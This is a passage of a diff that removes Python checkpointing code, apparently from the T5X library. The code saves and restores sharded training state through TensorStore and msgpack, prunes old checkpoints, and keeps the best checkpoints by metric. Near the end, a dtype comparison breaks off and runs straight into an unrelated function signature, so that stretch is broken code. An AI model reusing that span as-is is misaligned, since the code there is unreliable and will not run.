metadata['dtype'] - else: - local_chunk_info = self._partitioner.get_local_chunk_info( - arr.shape, axes) - write_shape = [ - si if sl == slice(None) else sl.stop - sl.start - for si, sl in zip(arr.shape, local_chunk_info.slice) - ] - # TODO(levskaya, adarob): how should we handle stacked/fused variables?? - chunk_shape = _choose_chunk_shape( - write_shape, - target_elements=_DESIRED_CHUNK_SIZE_BYTES / arr.dtype.itemsize) - - metadata = { - 'compressor': { - 'id': 'gzip' - }, - 'shape': arr.shape, - 'chunks': np.array(chunk_shape), - } - - if self.checkpoints_dir.startswith('gs://'): - spec = { - 'driver': 'zarr', - 'dtype': jnp.dtype(arr.dtype).name, - 'kvstore': { - 'driver': 'gcs', - # We always write with a dummy bucket and dynamically update the - # bucket information. This makes the checkpoint files portable - # and not bind to the bucket that it was originally written to. - 'bucket': 't5x-dummy-bucket', - }, - 'path': name.replace('/', '.'), - 'metadata': metadata, - } - else: - spec = { - 'driver': 'zarr', - 'dtype': jnp.dtype(arr.dtype).name, - 'kvstore': { - 'driver': 'file', - 'path': name.replace('/', '.') - }, - 'metadata': metadata, - } - - return _ParameterInfo( - name, - shape=arr.shape, - ts_spec=ts.Spec(spec), - local_chunk_info=local_chunk_info, - axes=axes) - - # Create a tree of param names as the keys on the path to each leaf - # separated by "/". - param_names = traverse_util.unflatten_dict({ - k: '/'.join(k) for k in traverse_util.flatten_dict( - self._train_state.state_dict(), keep_empty_nodes=True) - }) - - return jax.tree_map( - _get_param_info, param_names, - self._get_state_dict_for_save(self._train_state.state_dict()), - self._partitioner.get_mesh_axes(self._train_state).state_dict()) - - def _get_checkpoint_dir(self, step: int) -> str: - return get_checkpoint_dir(self.checkpoints_dir, step) - - def all_steps(self) -> Sequence[int]: - """Returns list of available step numbers in ascending order.""" - return all_steps(self.checkpoints_dir) - - def all_dataset_checkpoint_steps(self) -> Sequence[int]: - """Returns list of available step numbers in ascending order.""" - return all_dataset_checkpoint_steps(self.checkpoints_dir) - - def latest_step(self) -> Optional[int]: - """Returns latest step number or None if no checkpoints exist.""" - return latest_step(self.checkpoints_dir) - - def _remove_old_dataset_checkpoints(self): - """Deletes old dataset checkpoints if there are more than allowed.""" - if self.keep_dataset_checkpoints: - existing_steps = self.all_dataset_checkpoint_steps() - to_remove = len(existing_steps) - self.keep_dataset_checkpoints - if to_remove > 0: - for step in existing_steps[:to_remove]: - checkpoint_utils.remove_dataset_checkpoint( - self._get_checkpoint_dir(step), _TRAIN_DS_PREFIX) - - def _remove_old_checkpoints(self): - """Deletes oldest checkpoints if there are more than keep_checkpoints.""" - if not self.keep: - return - existing_steps = self.all_steps() - to_remove = len(existing_steps) - self.keep - if to_remove <= 0: - return - - for step in existing_steps[:to_remove]: - checkpoint_utils.remove_checkpoint_dir(self._get_checkpoint_dir(step)) - - def save(self, - train_state: train_state_lib.TrainState, - state_transformation_fns: Sequence[SaveStateTransformationFn] = (), - *, - concurrent_gb: int = 128): - """Saves a checkpoint for the given train state. - - Args: - train_state: the train state to save. May contain a combination of - LazyArray objects and arrays (e.g., np.ndarray, jax.DeviceArray) - state_transformation_fns: Transformations to apply, in order, to the state - before writing. - concurrent_gb: the approximate number of gigabytes of partitionable - parameters to process in parallel. Useful to preserve RAM. - """ - step = train_state.step - step = step.get() if isinstance(step, LazyArray) else step - step = _get_local_data(step) - # Integer, to avoid side effects in the checkpoint path. - step = int(step) - - # Share a timestamp across devices. - timestamp = multihost_utils.broadcast_one_to_all(np.int32(time.time())) - - final_dir = os.path.join(self.checkpoints_dir, f'checkpoint_{step}') - tmp_dir = final_dir + f'.tmp-{timestamp}' - - if gfile.exists(final_dir): - logging.info( - 'Skipping save checkpoint for step %d (directory %s already exists)', - step, final_dir) - return - - logging.info('Saving checkpoint for step %d to %s', step, tmp_dir) - - if jax.process_index() == 0: - gfile.makedirs(tmp_dir) - # Block all hosts until directory is ready. - multihost_utils.sync_global_devices(f'checkpointer:make_dir:{tmp_dir}') - - written_state_dict = self._write_state_to_tensorstore( - tmp_dir, train_state, concurrent_gb, state_transformation_fns) - - if self._should_write_dataset_ckpt: - logging.info("Writing dataset iterator state to '%s'.", - self._dataset_ckpt_name) - try: - self._dataset_ckpt.write(os.path.join(tmp_dir, self._dataset_ckpt_name)) - except tf.errors.FailedPreconditionError as e: - logging.error( - 'Input pipeline must be stateless in order to checkpoint. Cache ' - 'stateful steps offline or disable iterator checkpointing.') - raise e - - # Block until complete on all hosts. - multihost_utils.sync_global_devices( - f'checkpointer:tensorstore_write_complete:{tmp_dir}') - - if jax.process_index() == 0: - written_state_dict = jax.tree_map(_get_local_data, written_state_dict) - - # Write msgpack file in host 0 only - msgpack_bytes = serialization.to_bytes({ - 'version': VERSION, - 'optimizer': written_state_dict - }) - with gfile.GFile(os.path.join(tmp_dir, 'checkpoint'), 'wb') as fp: - fp.write(msgpack_bytes) - - # Finalize checkpoint directory. - if final_dir.startswith('gs://'): - subprocess.run(['gsutil', '-m', 'mv', tmp_dir, final_dir], - stdout=subprocess.DEVNULL, - check=True) - else: - gfile.rename(tmp_dir, final_dir) - logging.info('Saved checkpoint for step %d to %s', step, final_dir) - - # Remove old checkpoints, if necessary. - self._remove_old_checkpoints() - self._remove_old_dataset_checkpoints() - - # Block until complete on all hosts. - multihost_utils.sync_global_devices( - f'checkpointer:write_complete:{final_dir}') - - def _write_state_to_tensorstore( - self, - ckpt_dir: str, - train_state: train_state_lib.TrainState, - concurrent_gb: int, - state_transformation_fns: Sequence[SaveStateTransformationFn], - ) -> Mapping[str, Any]: - """Writes extracted state from train state to Tensorstore.""" - concurrent_bytes = concurrent_gb * 10**9 - bytes_cv = _BytesConditionVariable(concurrent_bytes) - - async def _write_array(maybe_arr: Any, - param_info: Optional[_ParameterInfo], - cast: bool = False): - """Maybe write to TensorStore, returning object to write to msgpack. - - Args: - maybe_arr: array or LazyArray to be written - param_info: ParameterInfo object. If None (or if param_info.ts_spec is - None), the array will be immediately returned without writing to - tensorstore. This is because array is None or is not partitioned, and - should be written separately. - cast: if True, performs cast operation using self._save_dtype. - - Returns: - Tensorstore spec corresponding to the written array. - """ - if param_info is None or param_info.ts_spec is None: - # Write to the msgpack file on host 0. - if isinstance(maybe_arr, LazyArray): - return await maybe_arr.get_async() - return maybe_arr - - # Only write each chunk of a parameter from one host - if self._use_gda or param_info.local_chunk_info.replica_id == 0: - arr = maybe_arr - - # Wait until memory is available. - if isinstance(arr, gda_lib.GlobalDeviceArray): - n_bytes = sum([ - shard.data.nbytes - for shard in arr.local_shards - if shard.replica_id == 0 - ]) - else: - n_bytes = arr.nbytes - if n_bytes > concurrent_bytes: - logging.warning( - 'Temporarily increasing the concurrency limits from %d bytes to ' - '%d bytes to fit %s.', concurrent_bytes, n_bytes, param_info.name) - n_bytes = concurrent_bytes - await bytes_cv.wait_for_bytes(n_bytes) - - if isinstance(maybe_arr, LazyArray): - arr = await arr.get_async() - elif not isinstance(arr, np.ndarray) and not isinstance( - arr, gda_lib.GlobalDeviceArray): - # Cast jax.DeviceArray to np.ndarray. - arr = np.array(maybe_arr, dtype=maybe_arr.dtype) - - tmp_ts_spec_dict = param_info.ts_spec.to_json() - - if cast: - # Set desired destination dtype. - tmp_ts_spec_dict['dtype'] = jnp.dtype(self._save_dtype).name - - param_info.ts_spec = ts.Spec(tmp_ts_spec_dict) - - # Path and gcs bucket (if applicable) information is updated in-place. - _update_ts_path_from_relative_to_absolute(ckpt_dir, tmp_ts_spec_dict) - - if cast: - # Set up casting spec. - tmp_ts_spec_dict = { - 'base': tmp_ts_spec_dict, - 'driver': 'cast', - 'dtype': jnp.dtype(arr.dtype).name, # dtype before cast - } - - if self._use_gda: - await gda_serialization.async_serialize(arr, tmp_ts_spec_dict) - else: - t = await ts.open( - tmp_ts_spec_dict, - create=True, - open=True, - context=ts.Context({'file_io_concurrency': { - 'limit': 128 - }})) - await t[param_info.local_chunk_info.slice].write(arr) - - await bytes_cv.return_bytes(n_bytes) - - # N.B. we return the original ts_spec (before - # `_update_ts_path_from_relative_to_absolute` was called). This is because - # we'd like to keep the path as relative, i.e., it doesn't hardcode the - # directory that the checkpoint was originally written. This makes the - # checkpoints portable. - return param_info.ts_spec - - transformed_state_dict, transformed_parameter_infos = ( - self._transform_state_and_infos(train_state.state_dict(), - self._parameter_infos, - state_transformation_fns)) - - state_dict_for_save = self._get_state_dict_for_save(transformed_state_dict) - - def _cast_arr_if_not_partitioned(maybe_arr, param_info): - if param_info is None or param_info.ts_spec is None: - return _cast(maybe_arr, self._save_dtype) - return maybe_arr - - state_dict_for_save['target'] = jax.tree_multimap( - _cast_arr_if_not_partitioned, state_dict_for_save['target'], - transformed_parameter_infos['target']) - future_written_state = {} - for k in state_dict_for_save.keys(): - # ensure that only 'target' is cast - future_written_state[k] = jax.tree_multimap( - functools.partial(_write_array, cast=(k == 'target')), - state_dict_for_save[k], transformed_parameter_infos[k]) - - # Block until complete on this host. - written_state_dict = _run_future_tree(future_written_state) - - # Block until complete on all hosts. - multihost_utils.sync_global_devices( - f'checkpointer:ts_write_complete:{ckpt_dir}') - - return written_state_dict - - def _transform_state_and_infos( - self, - state_dict: PyTreeDef, - parameter_infos: PyTreeDef, - state_transformation_fns: Sequence[SaveStateTransformationFn], - ) -> Tuple[PyTreeDef, PyTreeDef]: - """Applies transformations to the state dict and parameter infos PyTrees.""" - for fn in state_transformation_fns: - state_dict, parameter_infos = fn(state_dict, parameter_infos) - return state_dict, parameter_infos - - def restore( - self, - step: Optional[int] = None, - path: Optional[str] = None, - state_transformation_fns: Sequence[RestoreStateTransformationFn] = (), - fallback_state: Optional[Mapping[str, Any]] = None, - lazy_parameters: bool = False) -> train_state_lib.TrainState: - """Restores the host-specific parameters in an Optimizer. - - Either `step` or `path` can be specified, but not both. If neither are - specified, restores from the latest checkpoint in the checkpoints directory. - - Args: - step: the optional step number to restore from. - path: an optional absolute path to a checkpoint file to restore from. - state_transformation_fns: Transformations to apply, in order, to the state - after reading. - fallback_state: a state dict of an optimizer to fall back to for loading - params that do not exist in the checkpoint (after applying all - `state_transformation_fns`), but do exist in `Checkpointer.optimizer`. - The union of `fallback_state` and state loaded from the checkpoint must - match `Checkpointer.optimizer`. - lazy_parameters: whether to load the parameters as LazyArrays to preserve - memory. - - Returns: - The restored train state. - - Raises: - ValueError if both `step` and `path` are specified. - ValueError if checkpoint at `path` or `step` does not exist. - ValueError if `step` and `path` are not specified and no checkpoint is - found in the checkpoints directory. - """ - if lazy_parameters and self._partitioner.params_on_devices: - raise ValueError('Lazy Parameters cannot be copied to devices, please ' - 'set partitioner.params_on_devices=False.') - if step is not None and path is not None: - raise ValueError('At most one of `step` or `path` may be provided.') - if path: - ckpt_path = path - else: - if step is None: - step = self.latest_step() - if not step: - raise ValueError(f'No checkpoints found in {self.checkpoints_dir}.') - ckpt_path = self._get_checkpoint_dir(step) - - if gfile.isdir(ckpt_path): - ckpt_dir = ckpt_path - ckpt_path = os.path.join(ckpt_path, 'checkpoint') - else: - ckpt_dir = os.path.dirname(ckpt_path) - - if not gfile.exists(ckpt_path) or gfile.isdir(ckpt_path): - raise ValueError(f'Path is not a valid T5X checkpoint: {ckpt_path}') - - logging.info('Restoring from checkpoint: %s', ckpt_path) - - with gfile.GFile(ckpt_path, 'rb') as fp: - # TODO(adarob): Use threaded reading as in flax.checkpoints. - raw_contents = fp.read() - if raw_contents.startswith(b'model_checkpoint_path'): - raise ValueError( - 'Attempting to restore a TensorFlow checkpoint as a native T5X ' - 'checkpoint. Use `restore_from_tf_checkpoint` instead. Path: ' + - ckpt_path) - - # `ckpt_contents['optimizer']` is a pytree with a realized np.array for - # leaves (params or states) written as msgpack and a ts.Spec (in a dict) - # for leaves written by TensorStore. - ckpt_contents = serialization.msgpack_restore(raw_contents) - - # If reading a ckpt that was written with gfile driver but the current - # session uses the gcs driver, convert the ckpt's driver to gcs. - if ckpt_dir.startswith('gs://'): - ckpt_contents = _maybe_update_ts_from_file_to_gcs(ckpt_contents) - # If a ckpt was saved in gcs and is being loaded locally, then convert the - # driver to file or gfile. If the ckpt was not saved in gcs, do not change. - else: - ckpt_contents = _maybe_update_ts_from_gcs_to_file(ckpt_contents) - - ckpt_state_dict = self._get_optimizer_state_dict(ckpt_contents, - state_transformation_fns) - - # The state dict may contain TensorStore specs that need to be read. - dummy_spec = ts.Spec({'driver': 'zarr', 'kvstore': {'driver': 'memory'}}) - - # `dummy_written_state_dict` is a pytree with a `dummy_spec` for leaves - # (params or states) written as msgpack and a ts.Spec (in a dict) for leaves - # written by TensorStore. - dummy_written_state_dict = jax.tree_map( - lambda x: x.ts_spec or dummy_spec, - self._parameter_infos, - ) - - if fallback_state is None: - restore_parameter_infos = self._parameter_infos - else: - # If `fallback_state` was specified, restore only the subset - # of parameters matched by `self._get_optimizer_state_dict`. The - # rest will be provided by `fallback_state`. - dummy_written_state_dict = state_utils.intersect_state( - dummy_written_state_dict, ckpt_state_dict) - restore_parameter_infos = state_utils.intersect_state( - self._parameter_infos, ckpt_state_dict) - - restore_parameter_infos_flat = state_utils.flatten_state_dict( - restore_parameter_infos) - for key in restore_parameter_infos_flat.keys(): - logging.info('Restoring key from ckpt: %s', key) - - # NB: `serialization.from_state_dict` doesn't check whether the shapes match - # at the leaf level. Non-partitioned leaves (e.g., optimizer states) can - # load arrays with inconsistent shapes. - # `written_state_dict` is a pytree with a realized np.array for leaves - # (params or states) written as msgpack and a `ts.Spec` for leaves written - # by TensorStore. - written_state_dict = serialization.from_state_dict(dummy_written_state_dict, - ckpt_state_dict) - state_dict = self._read_state_from_tensorstore( - ckpt_path, - written_state_dict, - restore_parameter_infos=restore_parameter_infos, - lazy_parameters=lazy_parameters) - - # If `fallback_state` was specified, then fill the missing parameters. - if fallback_state is not None: - state_dict = state_utils.merge_state(state_dict, fallback_state) - - for key in state_utils.flatten_state_dict(state_dict).keys(): - if key not in restore_parameter_infos_flat: - logging.info('Not restoring key from ckpt: %s', key) - - if self._dataset_ckpt: - logging.info("Restoring dataset iterator from '%s'.", - self._dataset_ckpt_name) - self._dataset_ckpt.read(os.path.join( - ckpt_dir, self._dataset_ckpt_name)).assert_consumed() - - return self._restore_train_state(state_dict) - - def _restore_train_state( - self, - state_dict: optimizers.OptimizerStateType) -> train_state_lib.TrainState: - """Restores a TrainState from an Optimizer state_dict.""" - train_state = self._train_state.restore_state(state_dict) - - if not self._use_gda and self._partitioner.params_on_devices: - logging.info('Moving params to devices.') - train_state_axes = self._partitioner.get_mesh_axes(train_state) - train_state = self._partitioner.move_params_to_devices( - train_state, train_state_axes) - - return train_state - - def _create_lazy_awaitable_array( - self, param_info: _ParameterInfo, maybe_ts_spec: Any, ckpt_path: str, - restore_dtype: Optional[jnp.dtype]) -> LazyAwaitableArray: - """Creates LazyArray from tensorstore. - - Does not materialize the array immediately. - - Args: - param_info: Information about how to read the parameter, host based sliced - reads and the like. - maybe_ts_spec: The tensorstore spec to read the parameter or some other - object. If this is an array then we will do a host based sliced read on - it (provided the param_info says to). Anything else we just return. - ckpt_path: A base location to use when resolving the relative paths in the - tensorstore spec. - restore_dtype: type to restore as. None indicates that no cast is - requested. - - Returns: - LazyArray object. - """ - mesh = None - axes = None - if self._use_gda: - mesh = self._partitioner.mesh - axes = param_info.axes - get_fn = functools.partial( - _read_ts, - param_info, - maybe_ts_spec, - ckpt_path=ckpt_path, - restore_dtype=restore_dtype, - mesh=mesh, - axes=axes) - return LazyAwaitableArray.from_tensor_store_spec_or_array( - maybe_ts_spec, get_fn, dtype=restore_dtype) - - def _read_state_from_tensorstore( - self, - ckpt_path: str, - written_state_dict: Mapping[str, Any], - restore_parameter_infos: Optional[Mapping[str, Any]] = None, - lazy_parameters: bool = False, - ) -> Mapping[str, Any]: - """Sets up lazy reads from Tensorstore and returns them as a state_dict.""" - if restore_parameter_infos is None: - restore_parameter_infos = self._parameter_infos - - # Replace TensorStore Specs with the lazy array values. - state_dict = {} - for k in written_state_dict.keys(): - # ensure that only 'target' is cast - restore_dtype = self.restore_dtype if k == 'target' else None - state_dict[k] = jax.tree_multimap( - functools.partial( - self._create_lazy_awaitable_array, - ckpt_path=ckpt_path, - restore_dtype=restore_dtype), restore_parameter_infos[k], - written_state_dict[k]) - - if not lazy_parameters: - future_state_dict = jax.tree_map(lambda x: x.get_async(), state_dict) - state_dict = _run_future_tree(future_state_dict) - - if self.restore_dtype is not None: - state_dict['target'] = _cast(state_dict['target'], self.restore_dtype) - - return state_dict - - def restore_from_tf_checkpoint( - self, - path_or_dir: str, - strict: bool = True, - translator: Optional[checkpoint_importer.CheckpointTranslator] = None - ) -> train_state_lib.TrainState: - """Restore from a TensorFlow-based T5 checkpoint.""" - full_state_dict = checkpoint_importer.restore_from_t5_checkpoint( - self._train_state.state_dict(), - path_or_dir, - lazy_parameters=False, - strict=strict, - translator=translator) - - def _partition_parameter(maybe_arr: Any, param_info: _ParameterInfo): - if isinstance(maybe_arr, np.ndarray) and param_info: - arr = maybe_arr - if param_info.shape is not None and arr.shape != param_info.shape: - raise ValueError( - f'Shape of `{param_info.name}` in checkpoint {arr.shape} does ' - f'not match expected {param_info.shape}.') - if param_info.local_chunk_info: - arr = arr[param_info.local_chunk_info.slice] - return arr - return maybe_arr - - state_dict = jax.tree_multimap(_partition_parameter, full_state_dict, - self._parameter_infos) - if self.restore_dtype is not None: - state_dict['target'] = _cast(state_dict['target'], self.restore_dtype) - - return self._restore_train_state(state_dict) - - def convert_from_tf_checkpoint( - self, - path_or_dir: str, - *, - state_transformation_fns: Sequence[SaveStateTransformationFn] = (), - concurrent_gb: int = 16, - translator: Optional[checkpoint_importer.CheckpointTranslator] = None): - """Convert from a TensorFlow-based T5 checkpoint.""" - full_state_dict = checkpoint_importer.restore_from_t5_checkpoint( - self._train_state.state_dict(), - path_or_dir, - lazy_parameters=True, - translator=translator) - train_state = self._train_state.restore_state(full_state_dict) - self.save( - train_state, - state_transformation_fns=state_transformation_fns, - concurrent_gb=concurrent_gb) - - def _get_optimizer_state_dict( - self, ckpt_contents: PyTreeDef, - state_transformation_fns: Sequence[RestoreStateTransformationFn]): - return _get_optimizer_state_dict(ckpt_contents, - self._train_state.state_dict(), - state_transformation_fns) - - -class CheckpointerConstructor(typing_extensions.Protocol): - """A function that returns a checkpoints.Checkpointer. - - This type annotation allows users to partially bind args to the constructors - of Checkpointer subclasses without triggering type errors. - """ - - def __call__(self, - train_state: train_state_lib.TrainState, - partitioner: partitioning.BasePartitioner, - checkpoints_dir: str, - dataset_iterator: Optional[tf.data.Iterator] = None, - *, - keep: Optional[int] = None, - save_dtype: jnp.dtype = np.float32, - restore_dtype: Optional[jnp.dtype] = None, - use_gda: Optional[bool] = False, - keep_dataset_checkpoints: Optional[int] = None) -> Checkpointer: - """Checkpointer constructor. - - Args: - train_state: A train state to be used to determine the structure of the - parameter tree, and the *full* (non-partitioned) parameter shapes and - dtypes. Saved and restored train states must match this structure. - partitioner: the partitioner to use for determining the local chunks - mapping or to perform params partitioning on restore. - checkpoints_dir: a path to a directory to save checkpoints in and restore - them from. - dataset_iterator: an optional iterator to save/restore. - keep: an optional maximum number of checkpoints to keep. If more than this - number of checkpoints exist after a save, the oldest ones will be - automatically deleted to save space. - save_dtype: dtype to cast targets to before saving. - restore_dtype: optional dtype to cast targets to after restoring. If None, - no parameter casting is performed. - use_gda: if True, enabled gda_lib.GlobalDeviceArray. Note: this is - currently an experimental feature under development. - keep_dataset_checkpoints: an optional maximum number of data iterators to - keep. If more than this number of data iterators exist after a save, the - oldest ones will be automatically deleted to save space. - """ - pass - - -class SaveBestCheckpointer(Checkpointer): - """A Checkpointer class that keeps checkpoints based on 'best' metrics. - - This extends the standard Checkpointer to garbage collect checkpoints based on - metric values, instead of step recency. It uses Tensorboard summary files to - determine best values for a given user configured metric name. Events are read - and parsed using Tensorboard's event_processing packages. - - The metric name must be of the form `{run_name}/{tag_name}`. For example, - 'train/accuracy' or 'inference_eval/glue_cola_v002/eval/accuracy'. - - A few important features of this checkpointer: - - - Fallback behavior. It is not possible to verify whether metric names are - valid during initialization, since some metrics may get written out after - some time (e.g., during an evaluation). As such, when user provided metric - names are not found, this checkpointer can be configured for two fall back - strategies: (1) if `keep_checkpoints_without_metrics` is False, we use to - the "most recent checkpoint" strategy from the standard checkpointer, (2) - if `keep_checkpoints_without_metrics` is True, we keep all checkpoints until - metrics become available (potentially indefinitely if summary files have - been deleted or corrupted). - - - The number of checkpoints to keep is always increased by 1. Since its - crucial to always keep the latest checkpoint (for recovery purposes) we - always store the latest checkpoint plus `keep` number of best checkpoints. - - - It is assumed that Tensorboard summaries (event) files share a common root - directory with `checkpoint_dir`, which is the directory passed to the - the logdir crawler that searches for event files. - - Attributes: - checkpoints_dir: a path to a directory to save checkpoints in and restore - them from. - keep: an optional maximum number of checkpoints to keep. If more than this - number of checkpoints exist after a save, the oldest ones will be - automatically deleted to save space. - restore_dtype: optional dtype to cast targets to after restoring. - save_dtype: dtype to cast targets to before saving. - metric_name_to_monitor: Name of metric to monitor. Must be in the format - {run_name}/{tag_name} (e.g., 'train/accuracy', - 'inference_eval/glue_cola_v002/eval/accuracy'). - metric_mode: Mode to use to compare metric values. One of 'max' or 'min'. - keep_checkpoints_without_metrics: Whether to always keep (or delete) - checkpoints for which a metric value has not been found. - force_keep_period: When removing checkpoints, skip those who step is - divisible by force_keep_period (step % force_keep_period == 0). - use_gda: Enables GDA (see Checkpointer). - keep_dataset_checkpoints: an optional maximum number of data iterators to - keep. If more than this number of data iterators exist after a save, the - oldest ones will be automatically deleted to save space. - """ - - def __init__(self, - train_state: train_state_lib.TrainState, - partitioner: partitioning.BasePartitioner, - checkpoints_dir: str, - dataset_iterator: Optional[tf.data.Iterator] = None, - *, - keep: Optional[int] = None, - save_dtype: jnp.dtype = np.float32, - restore_dtype: Optional[jnp.dtype] = None, - metric_name_to_monitor: str = 'train/accuracy', - metric_mode: str = 'max', - keep_checkpoints_without_metrics: bool = True, - force_keep_period: Optional[int] = None, - use_gda: bool = False, - keep_dataset_checkpoints: Optional[int] = None): - super().__init__( - train_state, - partitioner, - checkpoints_dir, - dataset_iterator, - keep=keep, - save_dtype=save_dtype, - restore_dtype=restore_dtype, - use_gda=use_gda, - keep_dataset_checkpoints=keep_dataset_checkpoints) - if metric_mode not in ('max', 'min'): - raise ValueError('Unsupported `metric_mode`: %s' % metric_mode) - - # Metric run and tag names are derived from metric_name_to_monitor and are - # filled in _try_fill_metric_run_and_tag_names(). - self._metric_run: Optional[str] = None - self._metric_tag: Optional[str] = None - self._metric_name_to_monitor = metric_name_to_monitor - self._metric_mode = metric_mode - self._keep_checkpoints_without_metrics = keep_checkpoints_without_metrics - self._force_keep_period = force_keep_period - logging.info('Using SaveBestCheckpointer to keep %s best (%s) metric %s', - keep, metric_mode, metric_name_to_monitor) - - def _populate_metrics_for_steps(self, - steps: Iterable[int]) -> Mapping[int, float]: - """Iterate through summary event files and return metrics for `steps`.""" - metrics_by_step = {} - for subdir in io_wrapper.GetLogdirSubdirectories(self.checkpoints_dir): - rpath = os.path.relpath(subdir, self.checkpoints_dir) - # Skip runs that do not match user-specified metric. - if ((not self._metric_run and not self._try_fill_metric_run_and_tag_names( - (rpath,))) or self._metric_run != rpath): - logging.info('Skipping events in %s', subdir) - continue - - logging.info('Looking for events in %s', subdir) - loader = directory_watcher.DirectoryWatcher( - subdir, event_file_loader.EventFileLoader, - io_wrapper.IsTensorFlowEventsFile) - for event in loader.Load(): - # Skip metric collection of events for unavailable checkpoints or for - # unmonitored tags. - if (event.step not in steps or not event.summary.value or - event.summary.value[0].tag != self._metric_tag): - continue - metric_value = tf.make_ndarray(event.summary.value[0].tensor) - metrics_by_step[event.step] = metric_value - - return metrics_by_step - - def _try_fill_metric_run_and_tag_names(self, run_keys: Iterable[str]) -> bool: - """Extract metric run and tag names by matching one of the `run_keys`. - - This function tries to greedily split user-provided metric_name_to_monitor - into {run} and {tag} components. It does so by trying to match all available - {run}/{tag} names in the provided run_keys. If successful, populates - self._metric_run and self._metric_tag. - - Args: - run_keys: Set of run keys to test for. - - Returns: - Whether metric name prefix matches one of the run keys, and, as a - side-effect, populates self._metric_run and self._metric_tag. - """ - metric_run, metric_tag = None, None - - # Query existing events for different run and tags to match with user - # provided metric name. - m = self._metric_name_to_monitor.split('/') - possible_run_names = ['/'.join(m[:i]) for i in range(1, len(m))] - for key in run_keys: - for possible_run_name in possible_run_names: - if key == possible_run_name: - metric_run = possible_run_name - metric_tag = self._metric_name_to_monitor[len(metric_run) + 1:] - break - - if metric_run and metric_tag: - self._metric_run, self._metric_tag = metric_run, metric_tag - return True - return False - - def _filter_out_force_keep_period_steps(self, existing_steps): - """Filter out steps that are divisible by keep_period excluding the last.""" - if not existing_steps: - return existing_steps - - # Don't filter out the last step. - last_step = existing_steps.pop() - existing_steps = [ - s for s in existing_steps if s % self._force_keep_period != 0 - ] - return existing_steps + [last_step] - - def _remove_old_checkpoints(self): - """Deletes checkpoints if there are more than keep_checkpoints.""" - if not self.keep: - return - - existing_steps = self.all_steps() - if self._force_keep_period: - # Ignore checkpoints whose step is divisible by the keep period. - existing_steps = self._filter_out_force_keep_period_steps(existing_steps) - - # Artificially add 1 to `keep` since we always keep the latest checkpoint. - if len(existing_steps) <= self.keep + 1: - return - - # Synchronous fetch of new events for existing_steps. - metrics_by_step = self._populate_metrics_for_steps(existing_steps) - logging.info('SaveBestcheckpointer: collected metrics %s', metrics_by_step) - - # Re-sort existing_steps by metric values while always keeping the latest - # checkpoint. - latest_checkpoint = existing_steps[-1] - existing_steps = existing_steps[:-1] - - if self._keep_checkpoints_without_metrics: - existing_steps = list( - filter(lambda s: s in metrics_by_step, existing_steps)) - - to_remove = len(existing_steps) - self.keep - if to_remove <= 0: - return - - # For any remaining steps without metrics, we assign a low/high value which - # will make them candidate for removal. If no metrics are found this sorting - # should preserve current order (oldest first). - not_found_value = float('-inf' if self._metric_mode == 'max' else 'inf') - existing_steps = sorted( - existing_steps, - key=lambda step: metrics_by_step.get(step, not_found_value), - reverse=(self._metric_mode != 'max')) - existing_steps.append(latest_checkpoint) - - for step in existing_steps[:to_remove]: - checkpoint_utils.remove_checkpoint_dir(self._get_checkpoint_dir(step)) - - -def _get_optimizer_state_dict( - ckpt_contents: PyTreeDef, optimizer_state: Mapping[str, Any], - state_transformation_fns: Sequence[RestoreStateTransformationFn]): - """Extracts optimizer state dict contents and applies assignment map.""" - version = ckpt_contents.get('version', 0) - if version == 0: - # This is a standard Flax checkpoint and may require remapping below. - ckpt_optimizer_state = ckpt_contents - else: - ckpt_optimizer_state = ckpt_contents['optimizer'] - - if version >= 2: - for fn in state_transformation_fns: - ckpt_optimizer_state = fn(ckpt_optimizer_state, optimizer_state) - return ckpt_optimizer_state - else: - raise ValueError('Checkpoint versions earlier than 2 are not supported. ' # pylint: disable=unreachable - f'Got version: {version}') - - -async def _read_ts(param_info: _ParameterInfo, - maybe_tspec: Any, - ckpt_path: str, - restore_dtype: Optional[jnp.dtype] = None, - mesh: Optional[gda_lib.Shape] = None, - axes: Optional[gda_lib.MeshAxes] = None): - """Read from a tensorstore. - - If both `mesh` and `axes` are provided, the method will attempt to restore the - array as a GlobalDeviceArray. - - Note: - We use param_infos as the first argument because this function is only used - in `jax.tree_multimap` calls. In a tree multimap if the leaf of the first - tree is `None` then is is ignored, even if the second tree has a subtree - at that point. This means that when we are using something like a - MultiOptimizer we can set the parameter info for a variable to `None` and - we can skip processing it, even if the checkpoint has a subtree with things - like optimizer state variables in it. - - Args: - param_info: Information about how to read the parameter, host based sliced - reads and the like. - maybe_tspec: The tensorstore spec to read the parameter or some other - object. If this is an array then we will do a host based sliced read on it - (provided the param_info says to). Anything else we just return. - ckpt_path: A base location to use when resolving the relative paths in the - tensorstore spec. - restore_dtype: type to restore as. None indicates that no cast is requested. - mesh: Mesh object for GDA restoration. - axes: MeshAxes object for GDA restoration. - - Returns: - The array. Depending on the value `maybe_tspec` it might be read from - tensorstore, or it might be returned as is. Depending on the values in - param_info (specifically the `local_chunk_info`) it might be the full value - or a specific slice. - """ - # If saved as a numpy array, but a partitioned read is requested, return a - # slice of the array for that host. Otherwise, return the whole thing. - if isinstance(maybe_tspec, np.ndarray) and param_info: - if param_info.local_chunk_info: - arr = maybe_tspec - return arr[param_info.local_chunk_info.slice] - else: - return maybe_tspec - # If we have anything else that isn't a tensorstore spec just return it. - elif not isinstance(maybe_tspec, ts.Spec): - return maybe_tspec - - tmp_ts_spec_dict = maybe_tspec.to_json() - # Remove non-required params so that we can open Tensorstore - # that was created with a different set of params. - del tmp_ts_spec_dict['metadata']['chunks'] - del tmp_ts_spec_dict['metadata']['compressor'] - - # Convert the relative path in the spec to a path based on the checkpoint - # location. Path and gcs bucket (if applicable) information is updated - # in-place. - _update_ts_path_from_relative_to_absolute( - os.path.dirname(ckpt_path), tmp_ts_spec_dict) - - if param_info.shape is not None: - ts_spec_arr_shape = tuple(tmp_ts_spec_dict['metadata']['shape']) - # Check that the shapes of the array on disk match the expected shape based - # on the optimizer that is being restored. - if ts_spec_arr_shape != param_info.shape: - raise ValueError(f'Shape of `{param_info.name}` in checkpoint ' - f'{ts_spec_arr_shape} does not match expected ' - f'{param_info.shape}.') - - if ('dtype' in tmp_ts_spec_dict and tmp_ts_spec_dict['dtype'] - == 'uint16') or ('dtype' in tmp_ts_spec_dict['metadata'] and - tmp_ts_spec_dict['metadata']['dtype'] == ' Optional[_ParameterInfo]: - """Create _ParameterInfo that results in a full read.""" - # tspec is only None for `param_states` where the associated variable - # is not updated by any optimizers. By setting the parameter info for - # this to None, we can later short circut processing these subtrees - # during loading. - if maybe_tspec is None: - return None - local_chunk_info = None - tspec = None - if isinstance(maybe_tspec, ts.Spec): - tspec = 